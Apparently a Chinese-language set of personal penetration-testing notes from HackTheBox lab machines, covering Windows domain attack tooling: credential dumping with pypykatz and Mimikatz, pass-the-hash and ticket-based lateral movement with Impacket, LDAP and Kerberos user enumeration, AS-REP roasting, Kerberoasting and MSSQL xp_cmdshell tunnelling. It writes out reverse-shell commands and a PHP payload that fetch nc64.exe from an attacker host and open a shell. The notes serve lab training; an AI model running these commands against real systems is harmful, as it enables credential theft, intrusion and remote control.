当前位置:   article > 正文

windos工具和一些域渗透工具_getnpusers.py

getnpusers.py

Ctrl + Shift + D: 水平分割当前终端。

Ctrl + Shift + T 当前命令行多出一个窗口

使用 Pypykatz 提取哈希值(lsass.dmp)

这边的.dmp文件是在smb上面下载的

GitHub - skelsec/pypykatz: Mimikatz implementation in pure Python

pypykatz lsa minidump lsass.DMP

image-20231224090901933

横向移动工具

psexec.py

psexec.py 是 Impacket 套件的⼀部分,⽤于与 Windows 和 Windows protocols 进⾏交互,如SMB, MSRPC 和其他协议。 psexec.py 的原理基于 Windows 的远程过程调用(RemoteProcedure Call, RPC)和SMB(Server Message Block, 服务器消息块)协议。具体来说,它使⽤以下⽅式进⾏远程执⾏命令:

\1. 通过 SMB 在⽬标计算机上建⽴⼀个会话。

\2. 上传⼀个服务的可执⾏⽂件到⽬标计算机。

\3. 利⽤ MSRPC 服务控制管理器(Service Control Manager, SCM)创建和启动⼀个新服务,这个服务执⾏上传的可执⾏⽂件。

\4. ⼀旦执⾏完成,删除远程服务并删除上传的⽂件。默认情况下, psexec.py 主要使⽤以下端⼝:TCP 445:⽤于直接 SMB 通信。TCP 139:NetBIOS 会话服务,也⽤于 SMB 通信,但是⽐ 445 更早版本的 SMB 会使⽤这个端⼝。除了这些,还有其他的 MSRPC 端⼝可能会被⽤到,例如 TCP 135,但是在⼤多数情况下,端⼝445 和 139 是最主要的。⼀个重要的问题,基于如上对psexec.py的了解,你应知道为什么我现在想到⽤psexec.py了?为什么之前⽤户的时候不想到⽤,⽐如 jari 还有 3v4Si0N ,现在⽤⼀下看:

因为他们没有操作管理员⽬录的smb权限。

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ export PATH=/usr/share/doc/python3-impacket/examples/:$PATH

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ psexec.py Administrador:61fSoAH78xpLNoY54ZCR@10.129.228.115

hash登入的

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.129.104.62

rc4票据的使用

将票据复制到本机用base64解密

base64 -d ticket.kirbi.b64 > ticket.kirbi

然后改成impack可以用到格式

ticketConverter.py ticket.kirbi ticket.ccache

横向

KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass

还有什么横向⼯具,使⽤条件是什么?

近就Impacket中的来说吧,类似于 psexec.py 。以下是其中的⼀些:

\1. smbexec.py:与 psexec.py 类似的⼯具,它的⼯作⽅式略有不同。它不需要上传服务的可

执⾏⽂件,⽽是利⽤共享来执⾏命令。它更隐蔽,不容易被某些安全⼯具检测到。

\2. atexec.py:这个⼯具使⽤任务计划程序服务通过 SMB 远程执⾏命令。它将命令作为计划任务添加到⽬标机器,并⽴即执⾏。

\3. dcomexec.py:利⽤ DCOM (分布式组件对象模型) 进⾏远程代码执⾏。它使⽤已注册的

DCOM 应⽤程序(例如 MMC20.Application、ShellWindows 等)来执⾏命令。

\4. wmiexec.py:这是⼀个⾮常隐蔽的⼯具,它使⽤ WMI (Windows 管理⼯具) 进⾏远程命令执⾏。WMI 是⼀个强⼤的 Windows 管理⼯具,⽽这个脚本利⽤它的功能来执⾏命令。

使⽤条件的差异:⼤多数这些⼯具都需要具有对⽬标机器的有效认证(⽤户名和密码或哈希)。⼯具的⼯作⽅式不同,所依赖的远程服务也不同。 psexec.py 和 smbexec.py 需要 SMB 和 RPC 服务,⽽ wmiexec.py 则需要 WMI 服务。

防⽕墙/⽹络策略:如果⽬标⽹络有严格的防⽕墙或⽹络策略,可能会阻⽌某些端⼝或服务的访

问。根据所使⽤的⼯具和⽬标环境,你可能需要绕过或调整这些限制。

如果通过端⼝特征判断具体使⽤哪⼀个?

\1. psexec.py:主要依赖于 TCP 445 端⼝进⾏ SMB 通信。在某些情况下,早期版本的 SMB 可能会使⽤ TCP 139,但 445 是现代默认端⼝。

\2. smbexec.py:使⽤ TCP 445 进⾏ SMB 通信。在某些情况下,早期版本的 SMB 可能也会使⽤ TCP 139 端⼝。

\3. atexec.py:使⽤ TCP 445 进⾏ SMB 通信和 TCP 135 与 MS-RPC 端点映射服务交互,任务计划器服务的远程操作也通过这个端⼝。

\4. wmiexec.py:它初始化时通常使⽤ TCP 445 进⾏ SMB 通信,同时也使⽤ TCP 135 与 MS

RPC 端点映射服务交互。此外,WMI 通信可能还会使⽤动态分配的⾼端⼝,这通常是在 TCP

49152-65535 范围内,但具体的端⼝可能会因配置和 Windows 版本⽽异。

\5. dcomexec.py:使⽤ TCP 445 进⾏ SMB 通信和 TCP 135 进⾏ MS-RPC 端点映射服务通

信。与 WMI 类似,DCOM 也可能使⽤动态分配的⾼端⼝,通常在 TCP 49152-65535 范围内。

image-20231219093036707

reg.py

image-20231219093431589

reg.py --hashes 'xxxxxxxxx' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU//

HKU 主键下存有用户凭据相关的信息,渗透测试下常用,

先看software,因为存的都是用户,软件的凭据

image-20231219093517348

直接给了密码,如果没有要一个个往后看

image-20231219093552302

一些命令

\看⽤户组信息:>net groups /domain

>net groups "LAPS READ" /domain

net groups "LAPS ADM" /domain

net localgroup "administrator" 查看本地管理员

cmdkey /list命令在 Windows 中用于显示本地计算机上存储的凭据

Invoke-Mimikatz.ps1

PowerSploit/Exfiltration/Invoke-Mimikatz.ps1 at master · PowerShellMafia/PowerSploit · GitHub

Invoke-Mimikatz.ps1是一个 PowerShell 脚本,利用 Mimikatz 工具对 Windows 系统执行各种与凭据相关的攻击。Mimikatz 本身是一个强大的后利用工具,通常用于从 Windows 操作系统上的内存、凭证管理器和 LSASS(本地安全机构子系统服务)中提取纯文本密码、哈希值、PIN 码和 kerberos 票证。

该脚本是 PowerShell Empire 框架的一部分,该框架是一个开源后利用框架,可帮助渗透测试人员和红队人员模拟高级对手战术。它为不同的后利用活动提供了各种模块,并且Invoke-Mimikatz.ps1是这样的模块之一,可以更轻松地通过 PowerShell 使用 Mimikatz。

以下是一些常见用例Invoke-Mimikatz.ps1

  1. 凭证转储:它可用于从受感染的 Windows 系统的内存中提取纯文本密码、NTLM 哈希值和 Kerberos 票证。

  2. 哈希传递攻击:它允许攻击者从 LSASS 中提取密码哈希值,并使用它们对其他系统进行身份验证,而无需知道实际的明文密码。

  3. Kerberos 票证提取:它可以检索 Kerberos 票证,可用于进一步的攻击,包括 Kerberos 烘烤。

  4. 凭据滥用:一旦获得凭据,攻击者就可以滥用它们在网络内横向移动、升级权限或执行其他恶意活动。

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:Egotistical-bank.local /user:Administrator"'

解密工具

hashcat john

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ (解密AES,在.xlm文件里面发现的)

当有一组凭据思路

现在我们是有⼀组⽤户名。还能在哪⼉找点,以增加成功的概率。可以,有web吗?rpc能访问吗?或者纯暴⼒破解。没有web。试⼀下RPC登录和纯暴⼒的。

无密码

###

DNS(dig)

每当我看到 DNS 时,都值得尝试区域传输。两者sauna.htbegotistical-bank.local未能返回任何内容:

dig @10.10.10.175 AXFR Egotistical-bank.local

RPC**匿名登录枚举用户名

rpcclient -U '' -N 10.129.228.115 可以help看帮助输入命令

  1. enumdomusers: 这个命令尝试枚举在目标Windows域中的用户列表。然而,由于访问被拒绝,无法获取用户信息。

  2. querydominfo: 这个命令用于查询目标Windows域的信息,包括域的名称、SID(安全标识符)等。由于访问被拒绝,无法获取域信息。

  3. srvinfo: 这个命令尝试初始化srvsvc服务,然后查询有关远程系统的信息,如操作系统版本、计算机名称等。然而,由于访问被拒绝,无法初始化srvsvc服务,导致无法获取相关信息。

sudo rpcclient 10.129.96.60 -p 135 rpc的默认密码是139

rpcclient代替adduser修改密码

rpcclient -U 'jari%Cos@Chung@!RPG' 10.129.228.115 (密码可以直接后面也可以输入

rpcclient $> setuserinfo2 gibdeon 23 'RedteamN0tes!'

gibden是用户名

rpcmap &&rpcdump(附带uuid解释与IOXIDResolver.py 解析网络地址)

sudo rpcclient 10.129.96.60 -p 135

用以下inpack里面的rpcdump

export PATH=/usr/share/doc/python3-impacket/examples:$PATH

rpcdump没有什么敏感信息,有一个uuid ( uuid dcom是基于网络的操作的每一个方法组件都有一个唯一标识符)

用rpcmap

爆破uuid和操作数 默认64所以久一点可以参数改

rpcmap.py ncacn_ip_tcp:10.129.96.60[135] -brute-uuids -brute-opnums

通过扫到的uuid值去goole上搜索 3和5是success 的 看一下跑了什么 server alive2,最后找到了这个工具

image-20231218232023028

这个可以取回网络地址 远程枚举ip 解析网卡地址 找到ipv6的,看看是否有效

GitHub - mubix/IOXIDResolver: IOXIDResolver.py from AirBus Security

./IOXIDResolver.py -t 10.129.96.60

image-20231218232113321

使用匿名 LDAP 搜索查找用户“hsmith”(ldapsearch)

如果没有任何凭据,无法从 Kerberos 找到很多信息,因此我将继续使用 LDAP 服务,看看是否可以从匿名会话中转储信息。

首先,获取域名库的查询是ldapsearch -x -H 10.10.10.175 -s base namingcontexts,其中:

  • -x- 简单的身份验证

  • -h 10.10.10.175- 主机查询

  • -s base- 将范围设置为基础

  • naming contexts- 返回命名上下文

下面这个会比上面的命令深入一点

可以用来-b 'DC=EGOTISTICAL-BANK,DC=LOCAL'获取有关域的信息

ldapsearch -x -H ldap://10.10.10.175 -b "dc=Egotistical-bank,dc=local"

ldapsearch -x -h 10.10.10.192 -b "dc=blackfield,dc=local"

有一组密码可以试试

ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > support_ldap_dump

要枚举 LDAP,首先我将获取命名上下文:

root@kali# ldapsearch -h 10.10.10.182 -x -s base namingcontexts

image-20240106155017063

这边的数据也很多

如果我只想找到人,我可以提供一个查询::

ldapsearch -H ladp://10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > lda-people

通过查看数据,Ryan Thompson 在最后有一个有趣的额外数据项cascadeLegacyPwd:这个数据有点多,可以直接grep cascadeLegacyPwd试试

另一个办法

ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local"

image-20240106160921059

快速获取用户的脏列表

ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}' > users.txt

可以将这两个也加进去,我需要将两个用户添加到列表中:Administrator 和 krbtgt。

echo "Administrator" >> users.txt
echo "krbtgt" >> users.txt

然后我像这样运行 Kerbrute:

kerbrute.py -users users.txt -dc-ip 10.10.10.182 -domain cascade.local

不幸的是,没有一个帐户在输出中的名称旁边有“NO PREAUTH”。这意味着 AS-REP 烘焙不会轻易获胜。

一些帐户被禁用,值得注意,其余帐户均有效。

继续 LDAP 枚举,接下来我想要获取的是每个用户的列表以及有关其帐户的所有详细信息。

为此,我查找了一些可以在更精心设计的ldapsearch查询中使用的信息。

ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'dn' | grep -i 'users'

image-20240106161149863

完美的!这告诉我需要如何编写下一个ldapsearch查询来转储有关每个用户的信息。我只需将“ou=Users,ou=UK”添加到我的原始查询中,它将转储有关每个域帐户的所有信息。

ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local"

向下滚动到第一个用户“Steve Smith”,我可以看到查询提供了有关该帐户的大量信息,包括组成员身份、描述、上次登录/注销、UAC 等。

“描述”中可能有密码;然而,它并不存在于下面。

img

这里最有趣的是用户s.smith位于 Audit Share、Remote Management Users 和 IT 组中。

接下来,我决定要 grep 出用户及其组成员身份的列表,以便我知道哪些用户是“高目标”

ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local" | grep -i '#\|memberof'

image-20240106161537806

惊人的!这提供了 4 个有趣的用户,绝对值得更仔细地研究。

由于我已经看到了 Steve Smith 的帐户信息(上面的截图),接下来我转向 Ryan Thompson,看看是否可以找到有关他帐户的有趣信息。

ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local" | grep -A 50 -i "# Ryan Thompson"

image-20240106161852726

ldapdomaindump(比ldapsearch方便查看)

ldapdomaindump -u search.htb\hope.sharp -p 'IsolationIsKey?' 10.10.11.129 -o ldap/

这会创建一堆 HTML、Json 和 grepable 格式的文件:

oxdf@hacky$ ls ldap/
domain_computers_by_os.html  domain_computers.json  domain_groups.json  domain_policy.json  domain_trusts.json          domain_users.html
domain_computers.grep        domain_groups.grep     domain_policy.grep  domain_trusts.grep  domain_users_by_group.html  domain_users.json
domain_computers.html        domain_groups.html     domain_policy.html  domain_trusts.html  domain_users.grep

暴⼒破解域⽤户

kerbrute(区分用户是否纯在)

kerbrute 的⽤户名枚举基于⼀个Kerberos的特性:当⼀个不存在的⽤户尝试认证时,Kerberos返回⼀个特定的错误,通常是 KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN ,表示"客户端的身份未知"。但是,如果⽤户名存在但密码错误,Kerberos返回的是另⼀个错误,如

KRB5KDC_ERR_PREAUTH_FAILED 或相关的错误。基于这种⾏为, kerbrute 可以区分哪些⽤户名是存在的(但密码不正确)和哪些是不存在的。具体来说, kerbrute 会对提供的⽤户名列表中的每⼀个⽤户名发送⼀个带有错误密码的认证请求。

根据Kerberos的响应, kerbrute 可以确定⽤户名是否存在

git库在这⾥ GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing

如果无go环境,需要安装sudo apt-get golang-go

然后进入文件夹,make linux

./kerbrute_linux_amd64 空命令显示帮助:

./kerbrute_linux_amd64 userenum --domain LicorDeBellota.htb --dc 10.129.228.115 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 500

userenum 通过 Kerberos 枚举有效的域用户名

爆破出三个有效⽤户名jari、administrador和sshd。

利用的收集的user_list

./kerbrute_linux_amd64 userenum -d htb.local --dc htb.local user_list

./kerbrute_linux_amd64 userenum --domain search.htb --dc 10.10.11.129 user_list -t 500

这个可以利用看密码是否有重用

kerbrute -domain blackfield.local -users users_final.txt -password '#00^BlackKnight' -dc-ip 10.10.10.192

nmap代替

也可以用nmap

sudo nmap -6 -p88 --script=krb5-enum-users --script-args krb5-enum-user.realm='htb.local',userdb=user_list htb.local 速度可能还快点

AS-REP Roasting

⼿⾥有⼀组⽤户名,可以尝试AS-REP Roasting攻击,看是否某个⽤户碰巧有UF_DONT_REQUIRE_PREAUTH 的标记设置为true,这个标记为真,将允许我们启动这个⽤户的kerberos认证过程,尽管我们不能成功认证,但在此过程中我们能得到hash,如果能破解就能推进我们的渗透。

这个尝试我们要⽤到impacket框架( GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols. )中的GetNPUsers.py⼯具。先让⼯具就位:

sudo updatedb

locate -i getnp

可以将路径 /usr/share/doc/python3-impacket/examples/ 加⼊到环境变量中,以便捷使⽤

impacket框架中的⼯具。

export PATH=$PATH:/usr/share/doc/python3-impacket/examples/

impacket

Completing external command 下面会罗列一堆类似impacket-addcomputer这种的

空命令可以看GetNPUsers.py的帮助信息

GetNPUsers.py

⼯具介绍中说明了这个⼯具的原理和⽤法:Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking,即利⽤“不需要Kerberos预认证”的设置检索⽬标域⽤户,并导出其tgt以供破解。

这⾥涉及AS-REP Roasting这种破解,也拓展性地说明⼀下。

AS-REP Roasting是⼀种针对Kerberos身份验证协议的攻击⽅法。简单引⽤⼀点⼉Kerberos的知识作为背景,Kerberos是⼀种计算机⽹络身份验证协议,它允许两个通信实体(客户端和服务器)在不安全的⽹络上进⾏双向身份验证。当⽤户尝试登录⼀个使⽤Kerberos的系统时,该⽤户⾸先会请求⼀个TGT(票据授予票据,Ticket Granting Ticket ⽤来发放整个认证过程以及客户端访问服务端时所需的服务授予票据);这个请求是发送给AS(身份验证服务)。如果请求被批准,AS会返回⼀个加密的TGT。在默认的Kerberos配置中,当⽤户不存在或密码错误时,AS不会返回TGT。但如果在Kerberos中启⽤了“pre-authentication”(预身份验证),那么在AS返回TGT之前,⽤户⾸先需要提供⼀种证据,证明他们知道密码。这增加了额外的安全性。

然⽽,如果预身份验证被禁⽤,攻击者可以请求TGT,即使他们不知道⽤户的密码。AS会返回⼀个加密的TGT。攻击者随后可以尝试离线破解这个加密的TGT,以获得⽤户的密码。

这就是AS-REP roasting攻击的基础:利⽤Kerberos配置中禁⽤预身份验证的情况,请求和接收加密的TGT,然后尝试离线破解它。

详解kerberos认证原理 | Hero (seevae.github.io)

GetNPUsers.py -dc-ip 10.129.104.62 -request 'htb.local/'

GetNPUsers.py -no-pass -dc-ip 10.129.228.115 LicorDeBellota.htb/ -usersfile user_list

  • LicorDeBellota.htb/: 这是目标域的名称,结尾的斜杠表示这是一个域。

  • -usersfile user_list: 这是指定包含要执行ASREPRoasting攻击的用户列表的文件的选项。user_list 是包含目标用户的文件的名称。

    只获得kaorz的hash。jari、administrador和sshd均没有UF_DONT_REQUIRE_PREAUTH。

    拓展:为什么有的⽤户UF_DONT_REQUIRE_PREAUTH设置了,有的没设置,为什么会有这种需求?

    有这些种原因会导致设置了不需要验证:

    \1. 兼容性问题:早期的Kerberos客户端可能不⽀持预认证,所以某些⽤户可能已经设置了该标志以确保与这些早期的客户端兼容。

    \2. 简化身份验证:在某些情况下,管理员可能希望消除预认证步骤以简化身份验证过程,尽管这可能会增加安全⻛险。

    \3. 特定的应⽤程序或服务的要求:某些应⽤程序或服务可能在其身份验证流程中有特殊的需求,这可能要求禁⽤预认证。

    \4. 历史或配置错误:在某些情况下,该标志的配置可能是由于过去的配置错误或由于历史原因⽽被遗留下来的。

    \5. 安全策略或考虑:尽管禁⽤预认证可能会降低安全性,但在某些特定的环境或场景中,管理员可能有其他安全措施或策略考虑,导致他们选择禁⽤预认证。

    拓展 :有多少种roasting,区别是什么?

    "Roasting" 是⼀种利⽤ Kerberos 身份验证协议的某些特性以尝试离线破解密码的攻击⽅法。主要有两种常⻅的 "roasting" 攻击:AS-REP Roasting 和 Kerberoasting。以下是它们之间的区别:

    \1. AS-REP Roasting:

    针对哪些账户: 这种攻击针对的是那些 UF_DONT_REQUIRE_PREAUTH 标志已设置的账户。

    当这个标志被设置时,⽤户在获取 Kerberos Ticket Granting Ticket (TGT) 时不需要进⾏预认证。

    攻击⽅法: 攻击者⾸先尝试对这些不需要预认证的账户进⾏ Kerberos 初始化请求,Active Directory (AD) 会返回⼀个包含该⽤户加密密码的 AS-REP 响应。攻击者可以捕获这个响应并尝试离线破解它,以获取⽤户的明⽂密码。

    \2. Kerberoasting:

    针对哪些账户: 这种攻击针对的是那些关联了 Service Principal Name (SPN) 的账户。这通常是服务账户,例如数据库或web应⽤程序使⽤的账户。

    攻击⽅法: ⼀旦攻击者在 AD 环境中有⼀个有效的凭证(这不⼀定是⼀个⾼权限账户,普通⽤户凭证通常就⾜够了),他们就可以请求与特定 SPN 关联的服务票证。这些服务票证是使⽤服务账户的密码进⾏加密的。攻击者可以捕获这些票证并尝试离线破解,以获取服务账户的明⽂密码。

    主要的区别:

    AS-REP Roasting 针对的是设置了 UF_DONT_REQUIRE_PREAUTH 标志的账户,⽽Kerberoasting 针对的是关联了 SPN 的服务账户。

    AS-REP Roasting 不需要任何初始化的 AD 凭据,⽽ Kerberoasting 需要。

    两种攻击的⽬的都是获取加密的票证,然后进⾏离线破解以尝试获取明⽂密码。

    这些攻击都利⽤了 Kerberos 的设计特性,⽽不是真正的 "漏洞"。防范这些攻击的⽅法包括定期更s改和加固密码、监控可疑的 Kerberos 流量和活动,以及使⽤⾼级加密算法。

也可以使用crackmapexec

crackmapexec smb 10.10.10.52 -d htb.local -u htb.local/james -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt

有凭据密码

获得破解的密码Roper4155,即得到凭据: Kaorz:Roper4155 ,看这组凭据能⼲嘛?看端⼝和服务,22、1433、88都可以尝试。

尝试Kerberoasting
GetUserSPNs.py

GetUserSPNs.py -dc-ip 10.129.228.115 LicorDeBellota.htb/Kaorz:Roper4155

GetUserSPNs.py 是Impacket套件中的⼀个脚本,⽤于从Active Directory中请求和获取Service

Principal Names (SPNs)相关的数据。对于⽹络渗透测试者和红队⼈员来说,这是⼀个很有⽤的⼯具,它可以帮助他们发现可能的Kerberoasting攻击⽬标。命令的⽬的是使⽤提供的凭证向指定的域控制器请求SPNs。如果成功,你可以获取与这些SPNs相关联的服务帐户的哈希值,然后尝试破解这些哈希以获得明⽂密码。这种攻击技术称为Kerberoasting。

GetUserSPNs.py -request -dc-ip 10.129.45.13 active.htb/svc_tgs:GPPstillStandingStrong2k18 有时请求不到加-request参数试试

当ntlm认证不被允许的时候可以尝试kerbore 加-k参数

GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-host dc1.scrm.local -request -k

ldapsearch

ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > support_ldap_dump

kerbrute

这个可以利用看密码是否有重用

./kerbrute_linux_amd64 -domain blackfield.local -users users_final.txt -password '#00^BlackKnight' -dc-ip 10.10.10.192

mssqlclient.py (这个是防火墙限制,协议转换)1433

不在域内登入命令:

mssqlclient.py admin@10.129.7.108

⽤impacket中的SQL Server连接⼯具,尝试1433端⼝的认证连接,先看该⼯具的帮助。

mssqlclient.py --help

positional arguments:

target [[domain/]username[:password]@]<targetName or address>

尝试连接:

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ mssqlclient.py LicorDeBellota.htb/Kaorz:Roper4155@10.129.228.115

Impacket v0.11.0 - Copyright 2023 Fortra

mssql default credentials is sa 的账号

如果凭据没有登进去的话就可以试试sa

mssqlclient.py 'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115'

enable_xp_cmdshell 启用xp_cmdshell

(EXECUTE sp_configure 'show advanced options')这句也可以启用

xp_cmdshell whoami /priv xp_cmdshell systeminfo

xp_cmdshell (server configuration option) - SQL Server | Microsoft Learn 启用xp_cmdshell

获取更好的shell

xp_cmdshell net user svc_mssql /domain

image-20231216235627329

上面两个信息都告诉我们他是winrm组的不过这台靶机不开放这个

但是也能够看到系统的5985端⼝是开放的,只是没对外暴露。

回顾⼀下winrm邮件的内容:

在上次的渗透测试之后,我们决定停⽌向外部展示 WinRM 的服务。我们的多名员⼯是 Evil-WinRM 的创建者,我们不想暴露这个服务... 我们已经创建了⼀个规则来阻⽌该服务的暴露,并且还封锁了 TCP、UDP甚⾄ ICMP 输出(以防⽌使⽤ icmp 类型的 shell)。

这种情况下chisel等通⽤协议的隧道和转发技术就⾏不通了。这⾥需要⽤到mssqlproxy这项技术进⾏尝试。

image-20231217000032203

GitHub - blackarrowsec/mssqlproxy: mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse

mssqlproxy ⽤于创建⼀个反向的 MSSQL(Microsoft SQL Server)隧道,使攻击者能够直接与被隐藏的 MSSQL 服务器进⾏交互,即使其并没有直接暴露到互联⽹上。它主要利⽤了 SQL Server的特性和协议来实现这种隧道。具体来说,它使⽤的是 TDS (Tabular Data Stream) 协议,这是SQL Server ⽤于与客户端通信的协议。这个⼯具的原理也是封装了xp_cmdshell。源码可以读到,想了解可有看库中的源码。

impacket/examples/mssqlclient.py at master · fortra/impacket · GitHub

mssqlproxy

python3 mssqlproxy/mssqlclient.py

'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115'

注意python版本要升级到3,可以⽤ GitHub - 0xdf-0xdf/mssqlproxy at python3 的mssqlclient.py 源⽂件(.dll文件在里面),我的操作就是这样的。这是python3版本的语⾔,同时也⽐impacket多了⼀些内容。然后根据⼯具的操作,激活ole并上传reciclador.dll⽂件:

SQL> enable_ole

SQL> upload reciclador.dll C:\windows\temp\reciclador.dll

结束掉这个shell,按照⼯具使⽤帮助,执⾏:

python3 mssqlproxy/mssqlclient.py

'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115' -install -clr

assembly.dll 这个.ddl一定要记得导入

然后执⾏:

python3 mssqlproxy/mssqlclient.py

'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115' -start -reciclador

'C:\Windows\Temp\reciclador.dll'

提示kali已经在1337端⼝监听中。可以验证⼀下

(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ sudo netstat -tnlp | grep 1337

配置kali的socks5代理:

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ sudo vim /etc/proxychains4.conf

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ tail -n 10 /etc/proxychains4.conf

#

# proxy types: http, socks4, socks5, raw

# * raw: The traffic is simply forwarded to the proxy without

modification.

# ( auth types supported: "basic"-http "user/pass"-socks )

#

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"

socks5 127.0.0.1 1337

nmap扫描⼀下,看端⼝是否开放。

proxychains nmap -Pn -p 5985 127.0.0.1

5985/tcp open wsman

没问题,端⼝是开放状态了。可以获得正常的shell了

proxychains evil-winrm -i 127.0.0.1 -u svc_mssql -p '#mssql_s3rV1c3!2020'

或者你可以利用

mssql_shell.py(有如何利用别人的代码思路)

⽤ wget https://raw.githubusercontent.com/Alamot/code

snippets/master/mssql/mssql_shell.py 下载Python脚本⽂件。

修改其中的服务器凭据代码如下:

MSSQL_SERVER="10.129.106.19"

MSSQL_USERNAME = "LicorDeBellota.htb\sa"

MSSQL_PASSWORD = "#mssql_s3rV1c3!2020"

BUFFER_SIZE = 5*1024

TIMEOUT = 30

其他不做任何修改,执⾏后提示如下错误:

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ vim mssql_shell.py

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ python mssql_shell.py

Traceback (most recent call last):

File

"/home/kali/Musics/RedteamNotes/BoxWalk/HackTheBox/PivotAPI/mssql_shell.py",

line 9, in <module>

import _mssql

ModuleNotFoundError: No module named '_mssql'

head -n 30 mssql_shell.py

提示没有安装 _mssql ,我们⽤pip看⼀下这个库存在吗?

pip3 list | grep mssql

(pymssql 2.2.2)

我的kali安装的算⽐较完整的,你⼼⾥也⼀定要知道,python2到3的升级有很多调整,会不会库变动了,因为这个背景,哪怕没变动,但你⼀定要想到这个排查思路。其实很多利⽤当时都是版本2第 93 / 107 页写的,后来升级到3,利⽤都不能⽤了,都需要调整,这两年还好,很多都升级,但还有没升级

的。所以我们要想到看⼀看⽤mssql关键字搜索出来的唯⼀的库,⾥⾯包括什么,会不会 _mssql 在其中,这种推断很合理

image-20231217162450817

没错,就是这样,那就要调整导⼊的库了。

将shebang写明为python3,导⼊部分讲第⼀条 import _mssql 删掉,写成:

import pymssql

from pymssql import _mssql

执行还是报错了s

python3 mssql_shell.py

MSSQL failed: (18452, 'Login error. The login is from a domain that is not

trusted and cannot be used with integrated authentication. DB-Lib error message

20018, severity 14:

General SQL Server error: Check messages from the SQL Server

DB-Lib error message 20002, severity 9:

Adaptive Server connection failed (10.129.106.19)

DB-Lib error message 20002, severity 9:

Adaptive Server connection failed (10.129.106.19)')

python3 mssql_shell.py

(MSSQL失败:(18452, b'登录错误。该登录是来⾃⼀个不受信任的域,并且不能使⽤集成认证。DB-Lib错

误信息 20018, 严重性 14:

普通的SQL服务器错误:检查SQL服务器的消息

DB-Lib错误信息 20002, 严重性 9:

⾃适应服务器连接失败 (10.129.106.19)

DB-Lib错误信息 20002, 严重性 9:

⾃适应服务器连接失败 (10.129.106.19)'))

集成验证的问题,那我们将 MSSQL_USERNAME = "LicorDeBellota.htb\sa" 改成 MSSQL_USERNAME = "sa" ,即完整代码为:

image-20231217162713382

执行后就可以获得系统权限

反弹shell

smbserver

sudo python /usr/share/doc/python3-impacket/examples/smbserver.py share .

nc64.exe

sudo wget https://github.com/vinsworldcom/NetCat64/releases/download/1.11.6.4/nc64.exe

http://10.129.203.230/RedteamNotes.php?RedteamNotes=\10.10.14.8\share\nc64.exe -e cmd.exe 10.10.14.8 443

nc64.exe -e powershell 10.10.16.16 443

  • -e powershell该选项指定建立连接后应执行PowerShell命令。

  • 10.10.16.16这是 Netcat 工具将尝试连接的目标计算机的 IP 地址。

  • 443这是 Netcat 工具将在目标计算机上尝试连接的端口号。

远程文件读取漏洞与文件包含漏洞的利用:

文件内容

system("powershell -c wget 10.10.16.16/nc64.exe -outfile

\programdata\nc64.exe");

system("\programdata\nc64.exe -e powershell 10.10.16.16 443");

programdata是用户都可以访问到的文件

curl -X POST 'https://streamio.htb/admin/?debug=master.php' -k -b

'PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp' -d 'include=http://10.10.16.16/shell.php'

上传靶机

wget不能使用

wget http://10.10.14.67/shell.exe -o shell.exe wget用不了

Invoke-WebRequest -Uri http://10.10.14.9/PowerView.ps1 -UseBasicParsing -OutFile PowerView.ps1 wget的替代上传或者wget -UseBasicParsing <Your_URL>

impacket-smbserver

在kali中建⽴smb服务,⽤来把⽂件从靶机中拿回来,要设定密码,否则不允许不安全的连接,也要指定-smb2support⽀持协议。

1.

/usr/share/doc/python3-impacket/examples/smbserver.py share . -user

RedteamNotes -pass RedteamNotes -smb2support

net use \10.10.14.9\share /u:RedteamNotes RedteamNotes

  • net use:启动网络共享连接。

  • \\10.10.16.16\share:指定网络共享路径。

